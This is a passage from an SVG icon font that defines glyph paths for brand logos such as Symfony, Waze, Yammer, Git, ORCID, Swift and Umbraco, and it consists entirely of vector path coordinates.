c-0.237305 -0.164062 -0.430664 -0.532227 -0.430664 -0.822266c0 -0.178711 0.0859375 -0.442383 0.19043 -0.586914l2.59082 -7.06055c0.114258 -0.399414 0.544922 -0.723633 0.960938 -0.723633c0.0605469 0 0.15918 0.0107422 0.21875 0.0234375
c0.650391 0 6.7998 4 16.9297 4c4 0 7.06055 -0.709961 9.18066 -2.35938c3.59961 -2.80078 3.05957 -8.29004 3.05957 -10.5801c-4.79004 0.299805 -19.1104 3.43945 -29.4102 -3.75977c-4.05762 -2.7832 -7.34961 -9.03418 -7.34961 -13.9541
c0 -0.162109 0.00390625 -0.424805 0.00976562 -0.585938c0 -5.90039 1.50977 -10.4004 6.58984 -14.3506c12.2402 -8.16016 36.2803 -2 38.1006 -1.41016c1.5791 0.320312 3.5293 0.660156 3.5293 1.87988v33.8809c0.0400391 4.60938 0.320312 21.6396 -22.7793 21.6396z
M199 247.76c0.000976562 0.0205078 0.00195312 0.0527344 0.00195312 0.0722656c0 0.613281 -0.49707 1.11035 -1.10938 1.11035c-0.0205078 0 -0.0527344 -0.000976562 -0.0722656 -0.00195312h-9.82031
c-0.0175781 0.000976562 -0.0449219 0.000976562 -0.0625 0.000976562c-0.612305 0 -1.10938 -0.49707 -1.10938 -1.10938c0 -0.0205078 0.000976562 -0.0527344 0.00195312 -0.0722656v-79c-0.000976562 -0.0195312 -0.00195312 -0.0517578 -0.00195312 -0.0712891
c0 -0.613281 0.49707 -1.11035 1.10938 -1.11035c0.0175781 0 0.0449219 0.000976562 0.0625 0.00195312h9.87988c0.0205078 -0.000976562 0.0527344 -0.00195312 0.0722656 -0.00195312c0.613281 0 1.11035 0.49707 1.11035 1.10938
c0 0.0205078 -0.000976562 0.0527344 -0.00292969 0.0722656zM254.75 218.83c-2.09961 2.30957 -6.79004 7.53027 -17.6504 7.53027c-3.50977 0 -14.1592 -0.230469 -20.6992 -8.94043c-6.35059 -7.62988 -6.58008 -18.1104 -6.58008 -21.4102
c0 -3.12012 0.149414 -14.2598 7.05957 -21.1699c2.63965 -2.91016 9.06055 -8.22949 22.8105 -8.22949c10.8193 0 16.4697 2.34961 18.5791 3.75977c0.470703 0.240234 0.710938 0.709961 0.240234 1.87988l-2.34961 6.83008
c-0.1875 0.402344 -0.699219 0.728516 -1.14258 0.728516c-0.0751953 0 -0.194336 -0.0126953 -0.267578 -0.0283203c-2.58984 -0.94043 -6.34961 -2.82031 -15.29 -2.82031c-17.4199 0 -16.8496 14.7402 -16.9404 16.7002h37.1709
c0.522461 0.0107422 1.04688 0.431641 1.16992 0.939453c-0.290039 0 2.06934 14.7002 -6.09082 24.2305h-0.0195312zM291.44 166.14c13.1699 0 21.4092 7.06055 21.4092 18.1104c0 11.7598 -11.6992 15.1699 -17.8799 17.1699
c-4.13965 1.66016 -13.4102 3.37988 -13.4102 8.94043c0 3.75977 3.29004 6.34961 8.4707 6.34961c4.87988 -0.0976562 12.3613 -1.99316 16.7002 -4.22949c4.33789 -2.2373 1.17969 -0.710938 1.64941 0.469727c0.230469 0.700195 2.35059 6.58008 2.58008 7.29004
c0.0292969 0.0927734 0.0537109 0.24707 0.0537109 0.34375c0 0.441406 -0.337891 0.918945 -0.753906 1.06641c-7.91016 4.89941 -16.7402 4.93945 -20.2295 4.93945c-12 0 -20.46 -7.29004 -20.46 -17.6396c0 -12.46 11.4795 -15.4404 17.8701 -17.1699
c6.10938 -2 13.1699 -3.26074 13.1699 -8.7002c0 -4 -3.52051 -7.06055 -9.16992 -7.06055c-5.82617 0.0126953 -14.3379 2.85742 -19 6.35059c-0.155273 0.132812 -0.447266 0.241211 -0.651367 0.241211c-0.526367 0 -0.973633 -0.426758 -0.999023 -0.951172
l-2.34961 -7.52051c-0.470703 -0.939453 0.229492 -1.17969 0.229492 -1.40918c1.71973 -1.40039 10.3301 -6.59082 22.79 -6.59082h-0.0195312zM357.09 224c0 0.709961 -0.240234 1.17969 -1.17969 1.17969h-11.7598c0 0.140625 0.939453 8.94043 4.46973 12.4707
c4.16016 4.14941 11.7598 1.63965 12 1.63965c1.16992 -0.469727 1.41016 0 1.63965 0.469727l2.83008 7.77051c0.700195 0.939453 0 1.16992 -0.240234 1.41016c-5.08984 2 -17.3496 2.86914 -24.46 -4.24023c-5.47949 -5.48047 -7 -13.9199 -8 -19.5205h-8.46973
c-0.600586 -0.0498047 -1.125 -0.578125 -1.16992 -1.17969l-1.41992 -7.75977c0 -0.700195 0.240234 -1.16992 1.17969 -1.16992h8.23047c-8.50977 -47.9004 -8.75 -50.21 -10.3506 -55.5205c-1.08008 -3.62012 -3.29004 -6.89941 -5.87988 -7.75977
c-0.0898438 0 -3.87988 -1.67969 -9.63965 0.240234c0 0 -0.94043 0.469727 -1.41016 -0.709961c-0.240234 -0.709961 -2.58984 -6.82031 -2.83008 -7.53027s0 -1.41016 0.469727 -1.41016c5.11035 -2 13 -1.76953 17.8809 0
c6.2793 2.28027 9.71973 7.88965 11.5293 12.9404c2.75 7.70996 2.81055 9.79004 11.7598 59.7393h12.2305c0.601562 0.0498047 1.13086 0.578125 1.17969 1.18066zM410.48 208c-0.560547 1.67969 -5.10059 18.1104 -25.1709 18.1104c-15.25 0 -23 -10 -25.1592 -18.1104
c-1 -3 -3.18066 -14 0 -23.5195c0.0898438 -0.300781 4.40918 -18.1201 25.1592 -18.1201c14.9502 0 22.9004 9.60938 25.1709 18.1201c3.20996 9.60938 1.00977 20.5195 0 23.5195zM455.88 224.7c-5 1.64941 -16.6201 1.89941 -22.1104 -5.41016v4.46973
c0.000976562 0.0175781 0.00195312 0.0449219 0.00195312 0.0625c0 0.612305 -0.49707 1.11035 -1.10938 1.11035c-0.0205078 0 -0.0527344 -0.000976562 -0.0722656 -0.00292969h-9.39941c-0.0205078 0.00195312 -0.0527344 0.00292969 -0.0722656 0.00292969
c-0.612305 0 -1.11035 -0.498047 -1.11035 -1.11035c0 -0.0175781 0.000976562 -0.0449219 0.00195312 -0.0625v-55.2793c-0.000976562 -0.0175781 -0.00195312 -0.0449219 -0.00195312 -0.0625c0 -0.618164 0.501953 -1.12012 1.12012 -1.12012
c0.0175781 0 0.0449219 0.000976562 0.0625 0.00195312h9.63965c0.0166016 -0.000976562 0.0449219 -0.00195312 0.0615234 -0.00195312c0.618164 0 1.12012 0.501953 1.12012 1.12012c0 0.0175781 -0.000976562 0.0449219 -0.00195312 0.0625v27.7695
c0 2.91016 0.0498047 11.3701 4.45996 15.0498c4.90039 4.90039 12 3.36035 13.4102 3.06055c0.555664 0.00976562 1.1875 0.430664 1.41016 0.939453c0.972656 2.15918 2.34375 5.74316 3.05957 8c0.0449219 0.113281 0.0800781 0.302734 0.0800781 0.423828
c0 0.356445 -0.246094 0.798828 -0.549805 0.986328v-0.00976562zM502.69 170.6l-2.12012 7.29004c-0.470703 1.18066 -1.41016 0.709961 -1.41016 0.709961c-4.23047 -1.81934 -10.1504 -1.88965 -11.29 -1.88965c-4.63965 0 -17.1699 1.12988 -17.1699 19.7598
c0 6.23047 1.84961 19.7607 16.4697 19.7607c0.245117 0.00585938 0.643555 0.0107422 0.888672 0.0107422c3.00586 0 7.76855 -0.744141 10.6318 -1.66113c2.8623 -0.916992 0.939453 -0.469727 1.17969 0.709961c0.939453 2.58984 1.63965 4.46973 2.58984 7.53027
c0.230469 0.939453 -0.469727 1.16992 -0.709961 1.16992c-11.5898 3.87012 -22.3398 2.5293 -27.7598 0c-1.58984 -0.740234 -16.2305 -6.49023 -16.2305 -27.5205c0 -2.89941 -0.580078 -30.1094 28.9404 -30.1094c4.42383 0.00878906 11.377 1.27637 15.5195 2.83008
c0.290039 0.214844 0.525391 0.682617 0.525391 1.04395c0 0.105469 -0.0244141 0.274414 -0.0546875 0.375977v-0.0107422zM556.56 210.12c-0.799805 3 -5.36914 16.2295 -22.3496 16.2295c-16 0 -23.5195 -10.1094 -25.6396 -18.5898
c-0.913086 -3.0166 -1.6543 -8.02441 -1.6543 -11.1768c0 -0.161133 0.00195312 -0.421875 0.00390625 -0.583008c0 -25.8701 18.8398 -29.4004 29.8799 -29.4004c10.8203 0 16.46 2.35059 18.5801 3.76074c0.469727 0.239258 0.709961 0.709961 0.240234 1.87988
l-2.36035 6.83008c-0.186523 0.402344 -0.698242 0.728516 -1.14258 0.728516c-0.0742188 0 -0.194336 -0.0126953 -0.267578 -0.0292969c-2.58984 -0.939453 -6.34961 -2.81934 -15.29 -2.81934c-17.4199 0 -16.8496 14.7402 -16.9297 16.7002h37.1602
c0.522461 0.0126953 1.05078 0.433594 1.17969 0.939453c-0.239258 0.00976562 0.94043 7.07031 -1.41016 15.54v-0.00976562zM533.27 216.47c5.11035 0 11.8506 -2.2002 12.7305 -14.1201h-26.3701c0.639648 5.12012 3.31055 14.1201 13.6396 14.1201z" />
    <glyph glyph-name="speaker-deck" unicode="&#xf83c;" horiz-adv-x="512" 
d="M213.86 152h-113.86c-55.2002 0 -100 44.7998 -100 100s44.7998 100 100 100h132.84c22.0801 0 40 -17.9199 40 -40s-17.9199 -40 -40 -40h-134.84c-26.4697 0 -26.4502 -40 0 -40h113.82c55.1992 0 100 -44.7998 100 -100s-44.8008 -100 -100 -100h-171.82
c-22.0801 0 -40 17.9199 -40 40s17.9199 40 40 40h173.86c26.4795 0 26.46 40 0 40zM298 32c23.5957 16.0176 46.4932 51.8574 51.1104 80h64.5498c10.8525 0.0927734 19.6602 8.97656 19.6602 19.8291v0.170898v120v0.170898c0 10.8525 -8.80762 19.7363 -19.6602 19.8291
h-117.24c8.29199 9.4834 15.0205 27.4033 15.0205 40s-6.72852 30.5166 -15.0205 40h136.93c43.4404 0 78.6504 -35.8203 78.6504 -80v-160c0 -44.1797 -35.21 -80 -78.6504 -80h-135.35z" />
    <glyph glyph-name="symfony" unicode="&#xf83d;" horiz-adv-x="512" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.74 296.46c15.3496 0.540039 19.7695 15.4404 19.5195 23.1299c-0.639648 18.0605 -19.6699 29.46 -44.8301 28.6504
c-1.89941 -0.0703125 -65.2598 3.46973 -102.43 -105.53c-10.0596 8.29004 -57.7695 65.1602 -110.58 25.8096c-18.9502 -14.1797 -31.4199 -47.9199 -2.9502 -79.6699c16.9502 -18.1396 26.7207 -25.3301 22.25 -39.8496c-9.14941 -29.79 -55.5596 -16.1602 -51 -1.38965
c1.36035 4.38965 3.49023 4.46973 6.28027 13.0693c7.74023 25.3203 -27.1104 37.75 -34.6201 13.6006c-4.32031 -14.0605 2.37988 -39.5107 38.3799 -50.6201c42.1602 -12.96 77.8203 10.0098 82.8799 39.9395c3.2002 18.75 -5.29004 32.6904 -20.7998 50.6201l-12.6299 14
c-7.66016 7.7002 -10.29 20.7002 -2.37012 30.7002c6.69043 8.45996 16.2002 12.0605 31.8105 7.83008c22.7695 -6.16992 32.9199 -21.9697 49.8496 -34.7197c-1.23047 -4 -10.04 -32.3398 -18.2305 -82c-12.1094 -63.4902 -21.3496 -98.3506 -45.3496 -118.351
c-4.83984 -3.48926 -11.7598 -8.63965 -22.1797 -9c-1.94043 -0.0595703 -14.1406 2.83984 -2.0498 12.5508c15.2393 8.3291 7.00977 34.75 -14.8809 34c-9.85938 -0.330078 -24.8691 -9.59082 -24.3096 -26.5908c0.580078 -17.5293 16.9297 -30.6895 41.5801 -29.8398
c13.1797 0.44043 42.5801 5.7998 71.5801 40.2598c39.8496 46.7207 47.4395 102.2 58.2002 161.721c51.6797 -6.11035 77.2393 17.8398 77.5996 35.7002c0.549805 24.2998 -28 23.46 -32 5.2998c-1.91992 -8.83984 13.4199 -16.8105 1.41992 -24.5605
c-8.49023 -5.5 -23.71 -9.37012 -45.1396 -6.21973c10.2998 56.8496 19.1094 112.56 58.8896 113.85c2.70996 0.150391 12.6396 -0.119141 12.8701 -6.66992c0.150391 -5.41016 -6.7998 -9.66992 -6.53027 -18.8496c0.370117 -10.4199 8.2998 -17.2803 19.7705 -16.8701z
" />
    <glyph glyph-name="waze" unicode="&#xf83f;" horiz-adv-x="512" 
d="M502.17 246.33c14.5205 -85.8604 -30.9395 -167.92 -113.17 -208.13c13 -34.1006 -12.4004 -70.2002 -48.3203 -70.2002c-27.0625 0.0214844 -50.166 21.9736 -51.5693 49c-6.44043 -0.19043 -64.2002 0 -76.3301 0.639648
c-1.10645 -27.3809 -24.2441 -49.6035 -51.6484 -49.6035c-0.588867 0 -1.54395 0.0195312 -2.13184 0.0439453c-33.8604 1.36035 -57.9502 34.8398 -47 67.9199c-37.21 13.1104 -72.54 34.8701 -99.6201 70.7998c-13 17.2803 -0.479492 41.7998 20.8398 41.7998
c46.3105 0 32.2207 54.1699 43.1504 110.261c18.4297 93.9395 116.75 157.14 211.72 157.14c102.48 0 197.15 -70.6699 214.08 -169.67zM373.51 59.7197c42 19.1807 81.3301 56.71 96.29 102.141c40.4805 123.09 -64.1494 228 -181.71 228
c-83.4502 0 -170.32 -55.4199 -186.07 -136c-9.5293 -48.9102 5 -131.351 -68.75 -131.351c24.9404 -33.1094 58.3301 -52.6201 93.7305 -64.0498c24.6602 21.7998 63.8701 15.4697 79.8301 -14.3398c14.2197 -1 79.1895 -1.17969 87.9004 -0.820312
c7.9502 15.5303 28.5635 28.1348 46.0107 28.1348c10.2002 0 24.8799 -5.24805 32.7686 -11.7148zM205.12 260.87c0 34.7402 50.8398 34.75 50.8398 0s-50.8398 -34.7402 -50.8398 0zM321.69 260.87c0 34.7402 50.8594 34.75 50.8594 0s-50.8594 -34.75 -50.8594 0z
M199.08 190.18c-3.44043 16.9404 22.1797 22.1807 25.6201 5.20996l0.0595703 -0.279297c4.14062 -21.4199 29.8506 -44 64.1201 -43.0703c35.6797 0.94043 59.25 22.21 64.1104 42.7695c4.45996 16.0508 28.5996 10.3604 25.4697 -6
c-5.22949 -22.1797 -31.21 -62 -91.46 -62.8994c-42.5498 0 -80.8799 27.8398 -87.9004 64.25z" />
    <glyph glyph-name="yammer" unicode="&#xf840;" horiz-adv-x="512" 
d="M421.78 295.83c-48.1602 -26.3896 -118.561 -58.1504 -130.2 -50s91.4395 80.3701 106.689 88.7695c0.920898 0.5 1.80078 0.970703 2.63086 1.40039c1.76562 0.521484 4.69336 0.945312 6.53516 0.945312c12.7295 0 23.0605 -10.3311 23.0605 -23.0596
c0 -6.14453 -3.90527 -14.2334 -8.71582 -18.0557zM421.78 78.6602c4.76855 -3.82324 8.63965 -11.8877 8.63965 -18c0 -12.7344 -10.335 -23.0703 -23.0703 -23.0703c-1.81641 0 -4.70605 0.412109 -6.44922 0.919922
c-0.830078 0.410156 -1.70996 0.900391 -2.63086 1.41016c-15.2695 8.38965 -118.25 80.6396 -106.689 88.7402c11.5596 8.09961 82.04 -23.6201 130.2 -50zM464.21 211c10.0947 -2.11328 18.2559 -12.1992 18.2559 -22.5117
c0 -10.7881 -8.63965 -20.9561 -19.2861 -22.6982c-54.9102 0.0195312 -131.93 6.00977 -138.21 18.7598c-6.2793 12.75 118.84 26.5098 136.24 26.5098c1.0498 0 2.0498 -0.0595703 3 -0.0595703zM31 351.35c-0.699219 2.10742 -1.2666 5.61914 -1.2666 7.83887
c0 13.7334 11.1455 24.8799 24.8799 24.8799c8.72949 0 18.8213 -6.41504 22.5264 -14.3184l81 -205.06h1.20996l77 203.529c3.22559 8.26074 13.041 14.9648 21.9092 14.9648c12.9834 0 23.5205 -10.5371 23.5205 -23.5195
c0 -1.89258 -0.438477 -4.90137 -0.979492 -6.71484l-109.6 -273.391c-18.5498 -47.2197 -37.1201 -79.5596 -93.29 -79.5596c-0.151367 -0.000976562 -0.395508 -0.000976562 -0.545898 -0.000976562c-6.4668 0 -16.8887 0.874023 -23.2646 1.95117
c-8.52051 2.44238 -15.4365 11.6201 -15.4365 20.4844c0 11.7637 9.54688 21.3105 21.3096 21.3105c0.28418 0 0.744141 -0.0117188 1.02734 -0.0253906c0.660156 -0.0595703 10.9102 -0.660156 13.8604 -0.660156c30.4697 0 43.7393 18.9404 58.0693 59.4102z" />
    <glyph glyph-name="git-alt" unicode="&#xf841;" 
d="M439.55 211.95c4.66504 -4.66602 8.45117 -13.8076 8.45117 -20.4053s-3.78613 -15.7393 -8.45117 -20.4053l-194.689 -194.689c-4.66602 -4.66211 -13.8047 -8.44629 -20.4004 -8.44629s-15.7344 3.78418 -20.4004 8.44629l-195.609 195.6
c-4.66504 4.66602 -8.45117 13.8076 -8.45117 20.4053s3.78613 15.7393 8.45117 20.4053l134.12 134.14l50.79 -50.8496c-5.95996 -14.2607 -2.16016 -36.4902 18.6396 -45v-123c-22.3203 -9.09082 -28.8203 -38.4004 -11.25 -56
c5.55176 -5.54883 16.4268 -10.0518 24.2754 -10.0518c7.84766 0 18.7236 4.50293 24.2744 10.0518c13.1807 13.1494 16.2197 42.46 -9.08008 55v121.85l46.3506 -46.29c-14.21 -34.4697 29.5098 -63.8301 56 -37.3398c25.71 25.6895 -1.24023 68.4902 -35.4707 56.6895
l-49.6592 49.6602c9.29004 26.9102 -16.3301 52.8203 -43.3906 43.6807l-51.5195 51.5195l40.6602 40.6299c4.66602 4.66309 13.8076 8.44727 20.4043 8.44727s15.7383 -3.78418 20.4053 -8.44727z" />
    <glyph glyph-name="stackpath" unicode="&#xf842;" 
d="M244.6 215.6c0 -8.5 -4.25977 -20.4893 -21.3398 -20.4893h-19.6094v41.4697h19.6094c17.1299 0 21.3398 -12.3604 21.3398 -20.9805zM448 416v-448h-448v448h448zM151.3 160.16c0 21.2402 -12.1201 34.54 -46.7197 44.8496c-20.5703 7.41016 -26 10.9102 -26 18.6299
c0 7.7207 7 14.6104 20.4102 14.6104c14.0898 0 20.79 -8.4502 20.79 -18.3496h30.7002l0.189453 0.569336c0.5 19.5703 -15.0596 41.6504 -51.1201 41.6504c-23.3701 0 -52.5498 -10.75 -52.5498 -38.29c0 -19.4004 9.25 -31.29 50.7402 -44.3701
c17.2598 -6.15039 21.9102 -10.4004 21.9102 -19.4795c0 -15.2002 -19.1309 -14.2305 -19.4707 -14.2305c-20.3994 0 -25.6494 9.09961 -25.6494 21.9004h-30.7998l-0.180664 -0.560547c-0.679688 -31.3203 28.3799 -45.2197 56.6299 -45.2197
c29.9805 0 51.1201 13.5498 51.1201 38.29zM276.68 215.79c0 25.2998 -18.4297 45.46 -53.4199 45.46h-51.7793v-138.18h32.1699v47.3594h19.6094c30.25 0 53.4199 15.9502 53.4199 45.3604zM297.94 123l49.0596 138.22h-31.0898l-47.9102 -138.22h29.9404zM404.46 261.22
h-31.0898l-47.9102 -138.22h29.9404z" />
    <glyph glyph-name="cotton-bureau" unicode="&#xf89e;" horiz-adv-x="512" 
d="M474.31 117.59h25.1807c-25.7998 -109.78 -111.4 -173.59 -239.67 -173.59c-154.63 -0.339844 -247.82 92.8604 -247.82 248.18c0 154.63 93 247.82 247.82 247.82c128.399 0 214.06 -63.5098 240.18 -173.61h-25.2598
c-24.8506 95.6104 -99.9199 148.811 -214.69 148.811c-141.85 0 -223.2 -81.3799 -223.2 -223.2c0 -137.93 76.6699 -218 211.101 -223v49.2002c0 48.1602 -26.5498 74.3896 -74.5498 74.3896c-62.1309 0 -99.4004 37.2803 -99.4004 99.4102
c0 61.3701 36.5195 98.2803 97.3799 99.0596c30.7402 64.6504 144.24 69.3203 177.24 0c60.8496 -0.779297 97.3799 -37.6895 97.3799 -99.0596c0 -62.0098 -37.2002 -99.21 -99.2002 -99.21c-47.9795 0 -74.3896 -26.3896 -74.3896 -74.3896v-49.1602
c107.67 3.75977 178.24 56.5 201.899 148.35zM357 265.67c3.7998 -21.0801 11.2695 -104.2 -71.79 -120.75c12.2598 -17.7402 32.9805 -27.3301 61.5898 -27.3301c47.9697 0 74.4004 26.4102 74.4004 74.4102c0 44.6699 -22.8301 70.2197 -64.2002 73.6699zM275.32 168.31
c72.7803 9.89062 58.5 86.9102 56.2295 97c-72.5596 -10 -58.6895 -86.6592 -56.2295 -97zM260 316l-0.179688 -0.259766c-28.3008 0 -49.1602 -9.66016 -61.5703 -27.3506c28.3701 -5.44922 49.3701 -20.5898 61.5996 -43.4492
c12.2305 22.8594 33.2305 37.9697 61.5908 43.4492c-12.4404 17.9404 -32.8301 27.6104 -61.4404 27.6104zM188.48 265.28h0.239258c-2.75 -10.0498 -16.1602 -87.1602 56.25 -97c2.41992 10.1895 16.6807 86.4297 -56.4893 97zM173.2 117.59l0.330078 0.0302734
c28.2998 0 49 9.66992 61.1396 27.2998c-73.0303 14.2197 -78.4004 83.5498 -71.6504 120.75c-41.3594 -3.66992 -64.2197 -29.3096 -64.2197 -73.6699c0 -48.0098 26.4004 -74.4102 74.4004 -74.4102zM226.41 105.2h0.269531
c14.4902 -7.60059 25.5605 -19.3301 33.5605 -33.8301c6.36523 12.2188 21.4092 27.374 33.5801 33.8301c-14.4902 8.00977 -26.0508 19.0596 -33.8203 33.5498c-6.4248 -12.1094 -21.4736 -27.1396 -33.5898 -33.5498z" />
    <glyph glyph-name="buy-n-large" unicode="&#xf8a6;" horiz-adv-x="576" 
d="M288 416c154.73 0 280.21 -100.32 280.21 -224s-125.479 -224 -280.21 -224s-280.21 100.32 -280.21 224s125.479 224 280.21 224zM202.61 58.8096c61.5498 0.600586 99.4697 24.3604 117.71 61.5205c-35.79 6.4502 -62.9307 37.3096 -62.9307 74.4502
c0 41.7695 34.3408 75.6494 76.6904 75.6494h0.0341797c4.80078 0 12.4951 -0.864258 17.1758 -1.92969c0.524414 1.86621 1.19629 4.93555 1.5 6.84961c6.92969 44.1904 -14.8496 72.8408 -78 72.8408h-133.44l-77.25 -290.74zM358 240.89l-9.4502 -36.75l-15 36.75
h-31.3398l-26.6299 -90.3096h37.8301l7.83008 35.6299l11.1895 -35.6299h35.4102l22.1602 90.3096h-32zM503.86 58.8096l21.1992 84.0605h-103.869l53.0498 205.36h-92.5l-21.3301 -82.3506c29.3799 -10.5996 50.3799 -38.4102 50.3799 -71.0596
c0 -41.7803 -34.3496 -75.6504 -76.6904 -75.6504h-0.0625c-3.16504 0 -8.27539 0.37207 -11.4072 0.830078l-15.8398 -61.1904h197.07zM211.7 178.61c16.1494 0 29.7002 -7.51074 24.1396 -29.8203c-5.83008 -23.4697 -21.7998 -26.6504 -37.9395 -26.6504h-24.7002
l13.7998 56.4707h24.7002zM233 278c18.0703 0 32.2305 1.29004 27.5801 -17.5703c-3.83008 -15.5 -21.21 -30.1396 -39.21 -30.1396h-21.3701l11.6602 47.71h21.3398z" />
    <glyph glyph-name="mdb" unicode="&#xf8ca;" horiz-adv-x="576" 
d="M17.3701 287.59h46.2998l42.3301 -117.33l40.7002 117.33h45.5098l12.79 -191.59h-45.5303l-4.79004 77.4297l-25.54 -77.4297h-44.71l-27.9297 79.8301l-5.58984 -79.8301h-43.9102zM298.37 287.59c0 0 93.4199 -1.58984 94.2002 -95.7998
c0.799805 -96.5898 -94.2002 -95.79 -94.2002 -95.79h-47.9004v191.59h47.9004zM297.17 141.13c0 0 47.5996 5.21973 46.7998 51.5205c-0.799805 46.2998 -46.7998 50.5693 -46.7998 50.5693v-102.09zM535.46 215.37c0 0 33.54 -11.96 33.54 -55.1006
c0 -68.6396 -87 -63.8496 -87 -63.8496h-45.5195v191.58h51.8994s49.7402 1.44043 55.0801 -34.3203c0.348633 -2.30371 0.630859 -6.06445 0.630859 -8.39453c0 -8.94336 -3.86621 -22.3457 -8.63086 -29.915zM483.56 247.31v-21.5898h12s5.43066 5.33984 4 12
c-2.42969 11.1807 -16 9.58984 -16 9.58984zM483.46 137.85c0 0 41.04 -4.92969 41.3701 20.7207c0.389648 27.1602 -41.1904 22.4297 -41.1904 22.4297h-0.0800781v-18.2305z" />
    <glyph glyph-name="orcid" unicode="&#xf8d2;" horiz-adv-x="512" 
d="M294.75 259.81c58.1299 0 84.6699 -35.2598 84.6699 -76.8994c0 -25.5703 -15.5 -76.9102 -83.1201 -76.9102h-47.4697v153.81h45.9199zM256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM175.21 79.2402v207.5h-29.8398v-207.5
h29.8398zM160.29 310.38c10.7646 0.0380859 19.5312 8.80566 19.5703 19.5703c0 10.8027 -8.76758 19.5693 -19.5703 19.5693s-19.5703 -8.7666 -19.5703 -19.5693s8.76758 -19.5703 19.5703 -19.5703v0zM300 79c68.3799 0 110 50.6104 110.04 103.89
c0 49.0205 -33.71 103.851 -110.44 103.851h-80.5996v-207.74h81z" />
    <glyph glyph-name="swift" unicode="&#xf8e1;" 
d="M448 291.91c0 -5.35059 -0.000976562 -10.7002 0.00878906 -16.0498v-183.771c-0.0292969 -4.50977 -0.0800781 -9.00977 -0.200195 -13.5098c-0.0966797 -8.1748 -1.25781 -21.3545 -2.58984 -29.4199c-1.38477 -8.11035 -5.51465 -20.6543 -9.21973 -28
c-7.66406 -15.0459 -26.0898 -33.4854 -41.1299 -41.1602c-7.34766 -3.69824 -19.8916 -7.82422 -28 -9.20996c-8.07129 -1.32715 -21.2607 -2.4873 -29.4404 -2.58984c-4.51953 -0.120117 -9.00977 -0.200195 -13.5195 -0.200195h-199.79
c-4.52051 0.0302734 -9.02051 0.0800781 -13.5205 0.200195c-8.17676 0.0976562 -21.3613 1.25781 -29.4297 2.58984c-8.1084 1.38379 -20.6523 5.50977 -28 9.20996c-15.0342 7.67676 -33.4609 26.1113 -41.1299 41.1504c-3.70508 7.3457 -7.83496 19.8896 -9.21973 28
c-1.3252 8.06543 -2.48145 21.2461 -2.58008 29.4199c-0.129883 4.50977 -0.209961 9 -0.209961 13.5098v199.83c0.0292969 4.51953 0.0800781 9.00977 0.209961 13.5195c0.0888672 8.16797 1.22754 21.3389 2.54004 29.4004c1.38672 8.10938 5.5166 20.6533 9.21973 28
c3.74121 7.34473 11.5146 18.0293 17.3496 23.8496c1.74023 1.7207 3.55078 3.39062 5.43066 5c4.6748 3.99805 12.9141 9.51758 18.3896 12.3203c2.2334 1.11328 4.50391 2.15332 6.81152 3.12012c5.67188 2.31348 15.1738 5.04688 21.21 6.09961
c6.04688 1.03516 15.9297 2.07422 22.0596 2.32031c2.45996 0.120117 4.91992 0.200195 7.37012 0.269531c4.51953 0.120117 9.00977 0.200195 13.5195 0.200195h199.75c4.52051 -0.0292969 9.01074 -0.0800781 13.5205 -0.200195
c8.17676 -0.0976562 21.3613 -1.25781 29.4297 -2.58984c8.11035 -1.38281 20.6543 -5.51367 28 -9.21973c15.0547 -7.66211 33.4941 -26.0977 41.1602 -41.1504c3.70117 -7.34668 7.83105 -19.8906 9.21973 -28c1.3252 -8.06543 2.48047 -21.2461 2.58008 -29.4199
c0.120117 -4.51953 0.200195 -9.00977 0.200195 -13.5195zM378.119 50.9102c4.91016 -9.58008 15.3604 41.1797 -23.1602 88.5801c0.490234 1.68945 1 3.35938 1.44043 5.08984c18.5996 74.0801 -26.79 161.67 -103.58 207.75
c33.6494 -45.6201 48.5293 -100.87 35.3096 -149.2c-0.970703 -3.50098 -2.83398 -9.08789 -4.16016 -12.4697c-1.72949 1.14941 -3.84961 2.41992 -6.72949 4c0 0 -76.3906 47.1699 -159.181 130.59c-2.16992 2.2002 44.1504 -66.25 96.7207 -121.74
c-24.7803 13.9004 -93.7803 64.1201 -137.48 104.12c4.60156 -7.57031 13.0146 -19.1738 18.7803 -25.8994c36.4902 -46.2207 84.0898 -103.37 141.09 -147.221c-40 -24.4902 -96.6396 -26.3994 -153 0c-11.4521 5.37598 -29 15.8457 -39.1699 23.3701
c21.3398 -33.9365 68.5098 -74.4219 105.29 -90.3701c53.3203 -22.9199 106.35 -21.3799 145.85 -0.379883l0.419922 0.25c1.77051 1 3.53027 2 5.25 3c19.0801 9.7998 56.3105 19.46 76.3105 -19.4697z" />
    <glyph glyph-name="umbraco" unicode="&#xf8e8;" horiz-adv-x="510" 
d="M255.35 440c136.99 -0.169922 247.83 -111.31 247.65 -248.28c-0.179688 -136.97 -111.15 -247.67 -248 -247.67c-137 0.0703125 -248.07 111.271 -248 248.271c0.139648 136.96 111.36 247.85 248.35 247.68zM400.35 174
c0.296875 4.31738 0.518555 11.3311 0.518555 15.6582c0 4.16406 -0.222656 10.9141 -0.498047 15.0693c-0.354492 12.1631 -1.97168 31.8213 -3.61035 43.8799c-1.87012 13.2197 -3.56934 22.3799 -5.38965 32c-1.02051 4.87988 -1.28027 6.39941 -1.83008 8.44922
c-0.489258 2.14746 -2.67285 3.89062 -4.875 3.89062h-0.0253906h-0.819336l-32 -5c-2.31934 -0.375977 -4.20117 -2.58691 -4.20117 -4.93555c0 -0.0175781 0.000976562 -0.046875 0.000976562 -0.0644531c-0.00878906 -0.106445 -0.0146484 -0.27832 -0.0146484 -0.384766
s0.00585938 -0.279297 0.0146484 -0.385742l1.68945 -8.7793c1.60645 -8.86719 3.23633 -20.0938 4.88965 -33.6807c1.35156 -11.5938 2.5166 -30.4775 2.59961 -42.1494c0.266602 -26.9072 -2.44336 -46.834 -8.12988 -59.7803
c-5.01953 -11.3809 -18.9746 -22.6836 -31.1504 -25.2305c-13.7178 -2.9043 -36.2324 -5.26074 -50.2549 -5.26074c-1.93652 0 -5.0791 0.0449219 -7.01465 0.101562h-10.25c-1.9668 -0.0576172 -5.15918 -0.104492 -7.12695 -0.104492
c-14.0098 0 -36.5059 2.34863 -50.2129 5.24414c-12.2217 2.49805 -26.248 13.7793 -31.3105 25.1797c-5.60645 12.9336 -8.31641 32.877 -8.12988 59.8301c0.0820312 11.6738 1.26562 30.5576 2.64062 42.1504c1.62012 13.6201 3.2334 24.8467 4.83984 33.6797
